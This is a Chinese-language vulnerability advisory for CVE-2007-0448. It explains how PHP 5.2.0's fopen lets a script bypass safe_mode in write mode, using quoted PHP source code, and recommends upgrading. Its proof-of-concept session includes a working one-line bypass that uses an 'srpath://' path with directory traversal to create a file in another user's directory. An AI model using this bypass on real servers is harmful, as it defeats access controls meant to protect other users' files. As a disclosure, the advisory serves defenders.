CVE:CVE-2007-0448
CNNVD:CNNVD-200705-489
PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。
PHP对fopen的实现上存在漏洞，远程攻击者可能利用此漏洞使用写模式绕过safe_mode的安全限制。
在fopen()函数中：
- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]
在safe_mode.c文件中：
- -142-152--- Code from main/safe_mode.c [START]
ret = VCWD_STAT(path,  &sb);
if (ret < 0) {if ((flags  & CHECKUID_NO_ERRORS) == 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename);
}
return 0;
}
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
return 1;
- -142-152--- Code from main/safe_mode.c [END]
如果duid == php_getuid()的话，就可以绕过safe_mode。
#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)
在virtual_stat()函数中：
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
cwd_state new_state;
int retval;
CWD_STATE_COPY( &new_state,  &CWDG(cwd));
if (virtual_file_ex( &new_state, path, NULL, 1)) {
return -1;
}
retval = stat(new_state.cwd, buf);
CWD_STATE_FREE( &new_state);
return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]
因此用户可以尝试创建/dir/pliczek文件。
cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007
root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'
Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1
Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on
line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek",
"a");'
Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1
Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream:
Invalid argument in Command line code on line 1
cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek
solution:Upgrade php php to a higher version than 5.2.0,and avoid the version 5.2.0